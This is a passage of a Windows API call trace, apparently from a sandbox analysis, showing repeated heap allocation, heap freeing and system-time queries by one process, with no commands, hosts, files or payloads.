dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8574930, dwHighDateTime=0x1d595b2)) [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8574930, dwHighDateTime=0x1d595b2)) [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8577040, dwHighDateTime=0x1d595b2)) [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8577040, dwHighDateTime=0x1d595b2)) [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8577040, dwHighDateTime=0x1d595b2)) [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8577040, dwHighDateTime=0x1d595b2)) [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8577040, dwHighDateTime=0x1d595b2)) [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.439] GetLastError () returned 0x578 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.439] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.439] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.440] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8579750, dwHighDateTime=0x1d595b2)) [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.440] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.440] GetLastError () returned 0x578 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857be60, dwHighDateTime=0x1d595b2)) [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857be60, dwHighDateTime=0x1d595b2)) [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857be60, dwHighDateTime=0x1d595b2)) [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.441] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857e570, dwHighDateTime=0x1d595b2)) [0141.441] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857e570, dwHighDateTime=0x1d595b2)) [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857e570, dwHighDateTime=0x1d595b2)) [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd857e570, dwHighDateTime=0x1d595b2)) [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.442] GetLastError () returned 0x578 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.442] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.442] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8580c80, dwHighDateTime=0x1d595b2)) [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.443] GetLastError () returned 0x578 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.443] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.443] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.444] HeapFree (in: hHeap=0x3d0000, 